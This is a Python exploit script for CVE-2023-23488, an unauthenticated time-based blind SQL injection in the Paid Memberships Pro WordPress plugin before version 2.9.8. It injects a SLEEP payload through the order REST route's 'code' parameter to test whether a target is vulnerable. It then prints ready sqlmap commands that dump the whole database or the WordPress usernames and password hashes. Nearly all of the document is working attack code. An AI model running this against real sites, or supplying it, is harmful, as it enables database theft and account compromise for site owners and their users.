#!/usr/bin/env python # Exploit Title: Paid Memberships Pro v2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection # Exploit Author: r3nt0n # CVE: CVE-2023-23488 # Date: 2023/01/24 # Vulnerability discovered by Joshua Martinelle # Vendor Homepage: https://www.paidmembershipspro.com # Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.2.9.7.zip # Advisory: https://github.com/advisories/GHSA-pppw-hpjp-v2p9 # Version: < 2.9.8 # Tested on: Debian 11 - WordPress 6.1.1 - Paid Memberships Pro 2.9.7 # # Running this script against a WordPress instance with Paid Membership Pro plugin # tells you if the target is vulnerable. # As the SQL injection technique required to exploit it is Time-based blind, instead of # trying to directly exploit the vuln, it will generate the appropriate sqlmap command # to dump the whole database (probably very time-consuming) or specific chose data like # usernames and passwords. # # Usage example: python3 CVE-2023-23488.py http://127.0.0.1/wordpress import sys import requests def get_request(target_url, delay="1"): payload = "a' OR (SELECT 1 FROM (SELECT(SLEEP(" + delay + ")))a)-- -" data = {'rest_route': '/pmpro/v1/order', 'code': payload} return requests.get(target_url, params=data).elapsed.total_seconds() print('Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection\n') if len(sys.argv) != 2: print('Usage: {} '.format("python3 CVE-2023-23488.py")) print('Example: {} http://127.0.0.1/wordpress'.format("python3 CVE-2023-23488.py")) sys.exit(1) target_url = sys.argv[1] try: print('[-] Testing if the target is vulnerable...') req = requests.get(target_url, timeout=15) except: print('{}[!] ERROR: Target is unreachable{}'.format(u'\033[91m',u'\033[0m')) sys.exit(2) if get_request(target_url, "1") >= get_request(target_url, "2"): print('{}[!] The target does not seem vulnerable{}'.format(u'\033[91m',u'\033[0m')) sys.exit(3) print('\n{}[*] The target is vulnerable{}'.format(u'\033[92m', u'\033[0m')) print('\n[+] You can dump the whole WordPress database with:') print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump'.format(target_url)) print('\n[+] To dump data from specific tables:') print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users'.format(target_url)) print('\n[+] To dump only WordPress usernames and passwords columns (you should check if users table have the default name):') print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users -C user_login,user_pass'.format(target_url)) sys.exit(0)